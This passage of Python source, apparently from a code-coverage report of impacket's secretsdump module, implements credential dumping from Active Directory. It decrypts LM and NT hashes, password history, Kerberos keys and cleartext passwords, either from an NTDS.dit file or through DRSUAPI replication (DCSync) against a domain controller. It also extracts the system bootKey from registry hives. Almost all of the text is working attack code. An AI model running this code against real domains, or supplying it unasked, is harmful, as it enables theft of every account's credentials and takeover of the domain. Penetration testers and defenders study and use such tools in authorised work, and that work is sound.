
2069 # This could be because we're decoding a machine password. Printing it hex 

2070 answer = "%s:CLEARTEXT:0x%s" % (userName, userProperty['PropertyValue'].decode('utf-8')) 

2071 

2072 self.__clearTextPwds[answer] = None 

2073 if clearTextFile is not None: 

2074 self.__writeOutput(clearTextFile, answer + '\n') 

2075 

2076 if clearTextFile is not None: 2076 ↛ 2077line 2076 didn't jump to line 2077, because the condition on line 2076 was never true

2077 clearTextFile.flush() 

2078 if keysFile is not None: 2078 ↛ 2079line 2078 didn't jump to line 2079, because the condition on line 2078 was never true

2079 keysFile.flush() 

2080 

2081 LOG.debug('Leaving NTDSHashes.__decryptSupplementalInfo') 

2082 

2083 def __decryptHash(self, record, prefixTable=None, outputFile=None): 

2084 LOG.debug('Entering NTDSHashes.__decryptHash') 

2085 if self.__useVSSMethod is True: 

2086 LOG.debug('Decrypting hash for user: %s' % record[self.NAME_TO_INTERNAL['name']]) 

2087 

2088 sid = SAMR_RPC_SID(unhexlify(record[self.NAME_TO_INTERNAL['objectSid']])) 

2089 rid = sid.formatCanonical().split('-')[-1] 

2090 

2091 if record[self.NAME_TO_INTERNAL['dBCSPwd']] is not None: 2091 ↛ 2092line 2091 didn't jump to line 2092, because the condition on line 2091 was never true

2092 encryptedLMHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['dBCSPwd']])) 

2093 if encryptedLMHash['Header'][:4] == b'\x13\x00\x00\x00': 

2094 # Win2016 TP4 decryption is different 

2095 encryptedLMHash = self.CRYPTED_HASHW16(unhexlify(record[self.NAME_TO_INTERNAL['dBCSPwd']])) 

2096 pekIndex = hexlify(encryptedLMHash['Header']) 

2097 tmpLMHash = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])], 

2098 encryptedLMHash['EncryptedHash'][:16], 

2099 encryptedLMHash['KeyMaterial']) 

2100 else: 

2101 tmpLMHash = self.__removeRC4Layer(encryptedLMHash) 

2102 LMHash = self.__removeDESLayer(tmpLMHash, rid) 

2103 else: 

2104 LMHash = ntlm.LMOWFv1('', '') 

2105 

2106 if record[self.NAME_TO_INTERNAL['unicodePwd']] is not None: 

2107 encryptedNTHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']])) 

2108 if encryptedNTHash['Header'][:4] == b'\x13\x00\x00\x00': 2108 ↛ 2110line 2108 didn't jump to line 2110, because the condition on line 2108 was never true

2109 # Win2016 TP4 decryption is different 

2110 encryptedNTHash = self.CRYPTED_HASHW16(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']])) 

2111 pekIndex = hexlify(encryptedNTHash['Header']) 

2112 tmpNTHash = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])], 

2113 encryptedNTHash['EncryptedHash'][:16], 

2114 encryptedNTHash['KeyMaterial']) 

2115 else: 

2116 tmpNTHash = self.__removeRC4Layer(encryptedNTHash) 

2117 NTHash = self.__removeDESLayer(tmpNTHash, rid) 

2118 else: 

2119 NTHash = ntlm.NTOWFv1('', '') 

2120 

2121 if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None: 

2122 domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1] 

2123 userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']]) 

2124 else: 

2125 userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']] 

2126 

2127 if self.__printUserStatus is True: 2127 ↛ 2129line 2127 didn't jump to line 2129, because the condition on line 2127 was never true

2128 # Enabled / disabled users 

2129 if record[self.NAME_TO_INTERNAL['userAccountControl']] is not None: 

2130 if '{0:08b}'.format(record[self.NAME_TO_INTERNAL['userAccountControl']])[-2:-1] == '1': 

2131 userAccountStatus = 'Disabled' 

2132 elif '{0:08b}'.format(record[self.NAME_TO_INTERNAL['userAccountControl']])[-2:-1] == '0': 

2133 userAccountStatus = 'Enabled' 

2134 else: 

2135 userAccountStatus = 'N/A' 

2136 

2137 if record[self.NAME_TO_INTERNAL['pwdLastSet']] is not None: 

2138 pwdLastSet = self.__fileTimeToDateTime(record[self.NAME_TO_INTERNAL['pwdLastSet']]) 

2139 else: 

2140 pwdLastSet = 'N/A' 

2141 

2142 answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash).decode('utf-8'), hexlify(NTHash).decode('utf-8')) 

2143 if self.__pwdLastSet is True: 2143 ↛ 2144line 2143 didn't jump to line 2144, because the condition on line 2143 was never true

2144 answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet) 

2145 if self.__printUserStatus is True: 2145 ↛ 2146line 2145 didn't jump to line 2146, because the condition on line 2145 was never true

2146 answer = "%s (status=%s)" % (answer, userAccountStatus) 

2147 

2148 self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer) 

2149 

2150 if outputFile is not None: 2150 ↛ 2151line 2150 didn't jump to line 2151, because the condition on line 2150 was never true

2151 self.__writeOutput(outputFile, answer + '\n') 

2152 

2153 if self.__history: 2153 ↛ 2315line 2153 didn't jump to line 2315, because the condition on line 2153 was never false

2154 LMHistory = [] 

2155 NTHistory = [] 

2156 if record[self.NAME_TO_INTERNAL['lmPwdHistory']] is not None: 

2157 encryptedLMHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['lmPwdHistory']])) 

2158 tmpLMHistory = self.__removeRC4Layer(encryptedLMHistory) 

2159 for i in range(0, len(tmpLMHistory) // 16): 

2160 LMHash = self.__removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid) 

2161 LMHistory.append(LMHash) 

2162 

2163 if record[self.NAME_TO_INTERNAL['ntPwdHistory']] is not None: 

2164 encryptedNTHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['ntPwdHistory']])) 

2165 

2166 if encryptedNTHistory['Header'][:4] == b'\x13\x00\x00\x00': 2166 ↛ 2168line 2166 didn't jump to line 2168, because the condition on line 2166 was never true

2167 # Win2016 TP4 decryption is different 

2168 encryptedNTHistory = self.CRYPTED_HASHW16( 

2169 unhexlify(record[self.NAME_TO_INTERNAL['ntPwdHistory']])) 

2170 pekIndex = hexlify(encryptedNTHistory['Header']) 

2171 tmpNTHistory = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])], 

2172 encryptedNTHistory['EncryptedHash'], 

2173 encryptedNTHistory['KeyMaterial']) 

2174 else: 

2175 tmpNTHistory = self.__removeRC4Layer(encryptedNTHistory) 

2176 

2177 for i in range(0, len(tmpNTHistory) // 16): 

2178 NTHash = self.__removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid) 

2179 NTHistory.append(NTHash) 

2180 

2181 for i, (LMHash, NTHash) in enumerate( 

2182 map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])): 

2183 if self.__noLMHash: 2183 ↛ 2186line 2183 didn't jump to line 2186, because the condition on line 2183 was never false

2184 lmhash = hexlify(ntlm.LMOWFv1('', '')) 

2185 else: 

2186 lmhash = hexlify(LMHash) 

2187 

2188 answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash.decode('utf-8'), 

2189 hexlify(NTHash).decode('utf-8')) 

2190 if outputFile is not None: 2190 ↛ 2191line 2190 didn't jump to line 2191, because the condition on line 2190 was never true

2191 self.__writeOutput(outputFile, answer + '\n') 

2192 self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer) 

2193 else: 

2194 replyVersion = 'V%d' %record['pdwOutVersion'] 

2195 LOG.debug('Decrypting hash for user: %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) 

2196 domain = None 

2197 if self.__history: 2197 ↛ 2198line 2197 didn't jump to line 2198, because the condition on line 2197 was never true

2198 LMHistory = [] 

2199 NTHistory = [] 

2200 

2201 rid = unpack('<L', record['pmsgOut'][replyVersion]['pObjects']['Entinf']['pName']['Sid'][-4:])[0] 

2202 

2203 for attr in record['pmsgOut'][replyVersion]['pObjects']['Entinf']['AttrBlock']['pAttr']: 

2204 try: 

2205 attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp']) 

2206 LOOKUP_TABLE = self.ATTRTYP_TO_ATTID 

2207 except Exception as e: 

2208 LOG.debug('Failed to execute OidFromAttid with error %s, fallbacking to fixed table' % e) 

2209 LOG.debug('Exception', exc_info=True) 

2210 # Fallbacking to fixed table and hope for the best 

2211 attId = attr['attrTyp'] 

2212 LOOKUP_TABLE = self.NAME_TO_ATTRTYP 

2213 

2214 if attId == LOOKUP_TABLE['dBCSPwd']: 

2215 if attr['AttrVal']['valCount'] > 0: 2215 ↛ 2216line 2215 didn't jump to line 2216, because the condition on line 2215 was never true

2216 encrypteddBCSPwd = b''.join(attr['AttrVal']['pAVal'][0]['pVal']) 

2217 encryptedLMHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encrypteddBCSPwd) 

2218 LMHash = drsuapi.removeDESLayer(encryptedLMHash, rid) 

2219 else: 

2220 LMHash = ntlm.LMOWFv1('', '') 

2221 elif attId == LOOKUP_TABLE['unicodePwd']: 

2222 if attr['AttrVal']['valCount'] > 0: 

2223 encryptedUnicodePwd = b''.join(attr['AttrVal']['pAVal'][0]['pVal']) 

2224 encryptedNTHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedUnicodePwd) 

2225 NTHash = drsuapi.removeDESLayer(encryptedNTHash, rid) 

2226 else: 

2227 NTHash = ntlm.NTOWFv1('', '') 

2228 elif attId == LOOKUP_TABLE['userPrincipalName']: 

2229 if attr['AttrVal']['valCount'] > 0: 2229 ↛ 2235line 2229 didn't jump to line 2235, because the condition on line 2229 was never false

2230 try: 

2231 domain = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1] 

2232 except: 

2233 domain = None 

2234 else: 

2235 domain = None 

2236 elif attId == LOOKUP_TABLE['sAMAccountName']: 

2237 if attr['AttrVal']['valCount'] > 0: 2237 ↛ 2244line 2237 didn't jump to line 2244, because the condition on line 2237 was never false

2238 try: 

2239 userName = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le') 

2240 except: 

2241 LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) 

2242 userName = 'unknown' 

2243 else: 

2244 LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) 

2245 userName = 'unknown' 

2246 elif attId == LOOKUP_TABLE['objectSid']: 

2247 if attr['AttrVal']['valCount'] > 0: 2247 ↛ 2250line 2247 didn't jump to line 2250, because the condition on line 2247 was never false

2248 objectSid = b''.join(attr['AttrVal']['pAVal'][0]['pVal']) 

2249 else: 

2250 LOG.error('Cannot get objectSid for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) 

2251 objectSid = rid 

2252 elif attId == LOOKUP_TABLE['pwdLastSet']: 

2253 if attr['AttrVal']['valCount'] > 0: 2253 ↛ 2268line 2253 didn't jump to line 2268, because the condition on line 2253 was never false

2254 try: 

2255 pwdLastSet = self.__fileTimeToDateTime(unpack('<Q', b''.join(attr['AttrVal']['pAVal'][0]['pVal']))[0]) 

2256 except: 

2257 LOG.error('Cannot get pwdLastSet for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) 

2258 pwdLastSet = 'N/A' 

2259 elif self.__printUserStatus and attId == LOOKUP_TABLE['userAccountControl']: 2259 ↛ 2260line 2259 didn't jump to line 2260, because the condition on line 2259 was never true

2260 if attr['AttrVal']['valCount'] > 0: 

2261 if (unpack('<L', b''.join(attr['AttrVal']['pAVal'][0]['pVal']))[0]) & samr.UF_ACCOUNTDISABLE: 

2262 userAccountStatus = 'Disabled' 

2263 else: 

2264 userAccountStatus = 'Enabled' 

2265 else: 

2266 userAccountStatus = 'N/A' 

2267 

2268 if self.__history: 2268 ↛ 2269line 2268 didn't jump to line 2269, because the condition on line 2268 was never true

2269 if attId == LOOKUP_TABLE['lmPwdHistory']: 

2270 if attr['AttrVal']['valCount'] > 0: 

2271 encryptedLMHistory = b''.join(attr['AttrVal']['pAVal'][0]['pVal']) 

2272 tmpLMHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedLMHistory) 

2273 for i in range(0, len(tmpLMHistory) // 16): 

2274 LMHashHistory = drsuapi.removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid) 

2275 LMHistory.append(LMHashHistory) 

2276 else: 

2277 LOG.debug('No lmPwdHistory for user %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) 

2278 elif attId == LOOKUP_TABLE['ntPwdHistory']: 

2279 if attr['AttrVal']['valCount'] > 0: 

2280 encryptedNTHistory = b''.join(attr['AttrVal']['pAVal'][0]['pVal']) 

2281 tmpNTHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedNTHistory) 

2282 for i in range(0, len(tmpNTHistory) // 16): 

2283 NTHashHistory = drsuapi.removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid) 

2284 NTHistory.append(NTHashHistory) 

2285 else: 

2286 LOG.debug('No ntPwdHistory for user %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) 

2287 

2288 if domain is not None: 

2289 userName = '%s\\%s' % (domain, userName) 

2290 

2291 answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash).decode('utf-8'), hexlify(NTHash).decode('utf-8')) 

2292 if self.__pwdLastSet is True: 2292 ↛ 2293line 2292 didn't jump to line 2293, because the condition on line 2292 was never true

2293 answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet) 

2294 if self.__printUserStatus is True: 2294 ↛ 2295line 2294 didn't jump to line 2295, because the condition on line 2294 was never true

2295 answer = "%s (status=%s)" % (answer, userAccountStatus) 

2296 self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer) 

2297 

2298 if outputFile is not None: 2298 ↛ 2299line 2298 didn't jump to line 2299, because the condition on line 2298 was never true

2299 self.__writeOutput(outputFile, answer + '\n') 

2300 

2301 if self.__history: 2301 ↛ 2302line 2301 didn't jump to line 2302, because the condition on line 2301 was never true

2302 for i, (LMHashHistory, NTHashHistory) in enumerate( 

2303 map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])): 

2304 if self.__noLMHash: 

2305 lmhash = hexlify(ntlm.LMOWFv1('', '')) 

2306 else: 

2307 lmhash = hexlify(LMHashHistory) 

2308 

2309 answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash.decode('utf-8'), 

2310 hexlify(NTHashHistory).decode('utf-8')) 

2311 self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer) 

2312 if outputFile is not None: 

2313 self.__writeOutput(outputFile, answer + '\n') 

2314 

2315 if outputFile is not None: 2315 ↛ 2316line 2315 didn't jump to line 2316, because the condition on line 2315 was never true

2316 outputFile.flush() 

2317 

2318 LOG.debug('Leaving NTDSHashes.__decryptHash') 

2319 

2320 def dump(self): 

2321 hashesOutputFile = None 

2322 keysOutputFile = None 

2323 clearTextOutputFile = None 

2324 

2325 if self.__useVSSMethod is True: 

2326 if self.__NTDS is None: 2326 ↛ 2328line 2326 didn't jump to line 2328, because the condition on line 2326 was never true

2327 # No NTDS.dit file provided and were asked to use VSS 

2328 return 

2329 else: 

2330 if self.__NTDS is None: 2330 ↛ 2351line 2330 didn't jump to line 2351, because the condition on line 2330 was never false

2331 # DRSUAPI method, checking whether target is a DC 

2332 try: 

2333 if self.__remoteOps is not None: 2333 ↛ 2345line 2333 didn't jump to line 2345, because the condition on line 2333 was never false

2334 try: 

2335 self.__remoteOps.connectSamr(self.__remoteOps.getMachineNameAndDomain()[1]) 

2336 except: 

2337 if os.getenv('KRB5CCNAME') is not None and self.__justUser is not None: 

2338 # RemoteOperations failed. That might be because there was no way to log into the 

2339 # target system. We just have a last resort. Hope we have tickets cached and that they 

2340 # will work 

2341 pass 

2342 else: 

2343 raise 

2344 else: 

2345 raise Exception('No remote Operations available') 

2346 except Exception as e: 

2347 LOG.debug('Exiting NTDSHashes.dump() because %s' % e) 

2348 # Target's not a DC 

2349 return 

2350 

2351 try: 

2352 # Let's check if we need to save results in a file 

2353 if self.__outputFileName is not None: 2353 ↛ 2354line 2353 didn't jump to line 2354, because the condition on line 2353 was never true

2354 LOG.debug('Saving output to %s' % self.__outputFileName) 

2355 # We have to export. Are we resuming a session? 

2356 if self.__resumeSession.hasResumeData(): 

2357 mode = 'a+' 

2358 else: 

2359 mode = 'w+' 

2360 hashesOutputFile = openFile(self.__outputFileName+'.ntds',mode) 

2361 if self.__justNTLM is False: 

2362 keysOutputFile = openFile(self.__outputFileName+'.ntds.kerberos',mode) 

2363 clearTextOutputFile = openFile(self.__outputFileName+'.ntds.cleartext',mode) 

2364 

2365 LOG.info('Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)') 

2366 if self.__useVSSMethod: 

2367 # We start getting rows from the table aiming at reaching 

2368 # the pekList. If we find users records we stored them 

2369 # in a temp list for later process. 

2370 self.__getPek() 

2371 if self.__PEK is not None: 2371 ↛ 2538line 2371 didn't jump to line 2538, because the condition on line 2371 was never false

2372 LOG.info('Reading and decrypting hashes from %s ' % self.__NTDS) 

2373 # First of all, if we have users already cached, let's decrypt their hashes 

2374 for record in self.__tmpUsers: 2374 ↛ 2375line 2374 didn't jump to line 2375, because the loop on line 2374 never started

2375 try: 

2376 self.__decryptHash(record, outputFile=hashesOutputFile) 

2377 if self.__justNTLM is False: 

2378 self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile) 

2379 except Exception as e: 

2380 LOG.debug('Exception', exc_info=True) 

2381 try: 

2382 LOG.error( 

2383 "Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']]) 

2384 LOG.error(str(e)) 

2385 pass 

2386 except: 

2387 LOG.error("Error while processing row!") 

2388 LOG.error(str(e)) 

2389 pass 

2390 

2391 # Now let's keep moving through the NTDS file and decrypting what we find 

2392 while True: 

2393 try: 

2394 record = self.__ESEDB.getNextRow(self.__cursor) 

2395 except: 

2396 LOG.error('Error while calling getNextRow(), trying the next one') 

2397 continue 

2398 

2399 if record is None: 

2400 break 

2401 try: 

2402 if record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES: 

2403 self.__decryptHash(record, outputFile=hashesOutputFile) 

2404 if self.__justNTLM is False: 2404 ↛ 2393line 2404 didn't jump to line 2393, because the condition on line 2404 was never false

2405 self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile) 

2406 except Exception as e: 

2407 LOG.debug('Exception', exc_info=True) 

2408 try: 

2409 LOG.error( 

2410 "Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']]) 

2411 LOG.error(str(e)) 

2412 pass 

2413 except: 

2414 LOG.error("Error while processing row!") 

2415 LOG.error(str(e)) 

2416 pass 

2417 else: 

2418 LOG.info('Using the DRSUAPI method to get NTDS.DIT secrets') 

2419 status = STATUS_MORE_ENTRIES 

2420 enumerationContext = 0 

2421 

2422 # Do we have to resume from a previously saved session? 

2423 if self.__resumeSession.hasResumeData(): 2423 ↛ 2424line 2423 didn't jump to line 2424, because the condition on line 2423 was never true

2424 resumeSid = self.__resumeSession.getResumeData() 

2425 LOG.info('Resuming from SID %s, be patient' % resumeSid) 

2426 else: 

2427 resumeSid = None 

2428 # We do not create a resume file when asking for a single user 

2429 if self.__justUser is None: 

2430 self.__resumeSession.beginTransaction() 

2431 

2432 if self.__justUser is not None: 

2433 # Depending on the input received, we need to change the formatOffered before calling 

2434 # DRSCrackNames. 

2435 # There are some instances when you call -just-dc-user and you receive ERROR_DS_NAME_ERROR_NOT_UNIQUE 

2436 # That's because we don't specify the domain for the user (and there might be duplicates) 

2437 # Always remember that if you specify a domain, you should specify the NetBIOS domain name, 

2438 # not the FQDN. Just for this time. It's confusing I know, but that's how this API works. 

2439 if self.__justUser.find('\\') >=0 or self.__justUser.find('/') >= 0: 2439 ↛ 2443line 2439 didn't jump to line 2443, because the condition on line 2439 was never false

2440 self.__justUser = self.__justUser.replace('/','\\') 

2441 formatOffered = drsuapi.DS_NAME_FORMAT.DS_NT4_ACCOUNT_NAME 

2442 else: 

2443 formatOffered = drsuapi.DS_NT4_ACCOUNT_NAME_SANS_DOMAIN 

2444 

2445 crackedName = self.__remoteOps.DRSCrackNames(formatOffered, 

2446 drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME, 

2447 name=self.__justUser) 

2448 

2449 if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1: 2449 ↛ 2460line 2449 didn't jump to line 2460, because the condition on line 2449 was never false

2450 if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0: 2450 ↛ 2451line 2450 didn't jump to line 2451, because the condition on line 2450 was never true

2451 raise Exception("%s: %s" % system_errors.ERROR_MESSAGES[ 

2452 0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']]) 

2453 

2454 userRecord = self.__remoteOps.DRSGetNCChanges(crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1]) 

2455 #userRecord.dump() 

2456 replyVersion = 'V%d' % userRecord['pdwOutVersion'] 

2457 if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0: 2457 ↛ 2458line 2457 didn't jump to line 2458, because the condition on line 2457 was never true

2458 raise Exception('DRSGetNCChanges didn\'t return any object!') 

2459 else: 

2460 LOG.warning('DRSCrackNames returned %d items for user %s, skipping' % ( 

2461 crackedName['pmsgOut']['V1']['pResult']['cItems'], self.__justUser)) 

2462 try: 

2463 self.__decryptHash(userRecord, 

2464 userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'], 

2465 hashesOutputFile) 

2466 if self.__justNTLM is False: 2466 ↛ 2535line 2466 didn't jump to line 2535, because the condition on line 2466 was never false

2467 self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][ 

2468 'pPrefixEntry'], keysOutputFile, clearTextOutputFile) 

2469 

2470 except Exception as e: 

2471 LOG.error("Error while processing user!") 

2472 LOG.debug("Exception", exc_info=True) 

2473 LOG.error(str(e)) 

2474 else: 

2475 while status == STATUS_MORE_ENTRIES: 

2476 resp = self.__remoteOps.getDomainUsers(enumerationContext) 

2477 

2478 for user in resp['Buffer']['Buffer']: 

2479 userName = user['Name'] 

2480 

2481 userSid = "%s-%i" % (self.__remoteOps.getDomainSid(), user['RelativeId']) 

2482 if resumeSid is not None: 2482 ↛ 2484line 2482 didn't jump to line 2484, because the condition on line 2482 was never true

2483 # Means we're looking for a SID before start processing back again 

2484 if resumeSid == userSid: 

2485 # Match!, next round we will back processing 

2486 LOG.debug('resumeSid %s reached! processing users from now on' % userSid) 

2487 resumeSid = None 

2488 else: 

2489 LOG.debug('Skipping SID %s since it was processed already' % userSid) 

2490 continue 

2491 

2492 # Let's crack the user sid into DS_FQDN_1779_NAME 

2493 # In theory I shouldn't need to crack the sid. Instead 

2494 # I could use it when calling DRSGetNCChanges inside the DSNAME parameter. 

2495 # For some reason tho, I get ERROR_DS_DRA_BAD_DN when doing so. 

2496 crackedName = self.__remoteOps.DRSCrackNames(drsuapi.DS_NAME_FORMAT.DS_SID_OR_SID_HISTORY_NAME, 

2497 drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME, 

2498 name=userSid) 

2499 

2500 if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1: 2500 ↛ 2512line 2500 didn't jump to line 2512, because the condition on line 2500 was never false

2501 if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0: 2501 ↛ 2502line 2501 didn't jump to line 2502, because the condition on line 2501 was never true

2502 LOG.error("%s: %s" % system_errors.ERROR_MESSAGES[ 

2503 0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']]) 

2504 break 

2505 userRecord = self.__remoteOps.DRSGetNCChanges( 

2506 crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1]) 

2507 # userRecord.dump() 

2508 replyVersion = 'V%d' % userRecord['pdwOutVersion'] 

2509 if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0: 2509 ↛ 2510line 2509 didn't jump to line 2510, because the condition on line 2509 was never true

2510 raise Exception('DRSGetNCChanges didn\'t return any object!') 

2511 else: 

2512 LOG.warning('DRSCrackNames returned %d items for user %s, skipping' % ( 

2513 crackedName['pmsgOut']['V1']['pResult']['cItems'], userName)) 

2514 try: 

2515 self.__decryptHash(userRecord, 

2516 userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'], 

2517 hashesOutputFile) 

2518 if self.__justNTLM is False: 2518 ↛ 2528line 2518 didn't jump to line 2528, because the condition on line 2518 was never false

2519 self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][ 

2520 'pPrefixEntry'], keysOutputFile, clearTextOutputFile) 

2521 

2522 except Exception as e: 

2523 LOG.error("Error while processing user!") 

2524 LOG.debug("Exception", exc_info=True) 

2525 LOG.error(str(e)) 

2526 

2527 # Saving the session state 

2528 self.__resumeSession.writeResumeData(userSid) 

2529 

2530 enumerationContext = resp['EnumerationContext'] 

2531 status = resp['ErrorCode'] 

2532 

2533 # Everything went well and we covered all the users 

2534 # Let's remove the resume file is we had created it 

2535 if self.__justUser is None: 

2536 self.__resumeSession.clearResumeData() 

2537 

2538 LOG.debug("Finished processing and printing user's hashes, now printing supplemental information") 

2539 # Now we'll print the Kerberos keys. So we don't mix things up in the output. 

2540 if len(self.__kerberosKeys) > 0: 2540 ↛ 2550line 2540 didn't jump to line 2550, because the condition on line 2540 was never false

2541 if self.__useVSSMethod is True: 

2542 LOG.info('Kerberos keys from %s ' % self.__NTDS) 

2543 else: 

2544 LOG.info('Kerberos keys grabbed') 

2545 

2546 for itemKey in list(self.__kerberosKeys.keys()): 

2547 self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS_KERBEROS, itemKey) 

2548 

2549 # And finally the cleartext pwds 

2550 if len(self.__clearTextPwds) > 0: 2550 ↛ 2551line 2550 didn't jump to line 2551, because the condition on line 2550 was never true

2551 if self.__useVSSMethod is True: 

2552 LOG.info('ClearText password from %s ' % self.__NTDS) 

2553 else: 

2554 LOG.info('ClearText passwords grabbed') 

2555 

2556 for itemKey in list(self.__clearTextPwds.keys()): 

2557 self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS_CLEARTEXT, itemKey) 

2558 finally: 

2559 # Resources cleanup 

2560 if hashesOutputFile is not None: 2560 ↛ 2561line 2560 didn't jump to line 2561, because the condition on line 2560 was never true

2561 hashesOutputFile.close() 

2562 

2563 if keysOutputFile is not None: 2563 ↛ 2564line 2563 didn't jump to line 2564, because the condition on line 2563 was never true

2564 keysOutputFile.close() 

2565 

2566 if clearTextOutputFile is not None: 2566 ↛ 2567line 2566 didn't jump to line 2567, because the condition on line 2566 was never true

2567 clearTextOutputFile.close() 

2568 

2569 self.__resumeSession.endTransaction() 

2570 

2571 @classmethod 

2572 def __writeOutput(cls, fd, data): 

2573 try: 

2574 fd.write(data) 

2575 except Exception as e: 

2576 LOG.error("Error writing entry, skipping (%s)" % str(e)) 

2577 pass 

2578 

2579 def finish(self): 

2580 if self.__NTDS is not None: 

2581 self.__ESEDB.close() 

2582 

2583class LocalOperations: 

2584 def __init__(self, systemHive): 

2585 self.__systemHive = systemHive 

2586 

2587 def getBootKey(self): 

2588 # Local Version whenever we are given the files directly 

2589 bootKey = b'' 

2590 tmpKey = b'' 

2591 winreg = winregistry.Registry(self.__systemHive, False) 

2592 # We gotta find out the Current Control Set 

2593 currentControlSet = winreg.getValue('\\Select\\Current')[1] 

2594 currentControlSet = "ControlSet%03d" % currentControlSet 

2595 for key in ['JD', 'Skew1', 'GBG', 'Data']: 

2596 LOG.debug('Retrieving class info for %s' % key) 

2597 ans = winreg.getClass('\\%s\\Control\\Lsa\\%s' % (currentControlSet, key)) 

2598 digit = ans[:16].decode('utf-16le') 

2599 tmpKey = tmpKey + b(digit) 

2600 

2601 transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7] 

2602 

2603 tmpKey = unhexlify(tmpKey) 

2604 

2605 for i in range(len(tmpKey)): 

2606 bootKey += tmpKey[transforms[i]:transforms[i] + 1] 

2607 

2608 LOG.info('Target system bootKey: 0x%s' % hexlify(bootKey).decode('utf-8')) 

2609 

2610 return bootKey 

2611 

2612 

2613 def checkNoLMHashPolicy(self): 

2614 LOG.debug('Checking NoLMHash Policy') 

2615 winreg = winregistry.Registry(self.__systemHive, False) 

2616 # We gotta find out the Current Control Set 

2617 currentControlSet = winreg.getValue('\\Select\\Current')[1] 

2618 currentControlSet = "ControlSet%03d" % currentControlSet 

2619 

2620 # noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)[1] 

2621 noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet) 

2622 if noLmHash is not None: 

2623 noLmHash = noLmHash[1] 

2624 else: 

2625 noLmHash = 0 

2626 

2627 if noLmHash != 1: 

2628 LOG.debug('LMHashes are being stored') 

2629 return False 

2630 LOG.debug('LMHashes are NOT being stored') 

2631 return True 

2632 

2633def _print_helper(*args, **kwargs): 

2634 print(args[-1])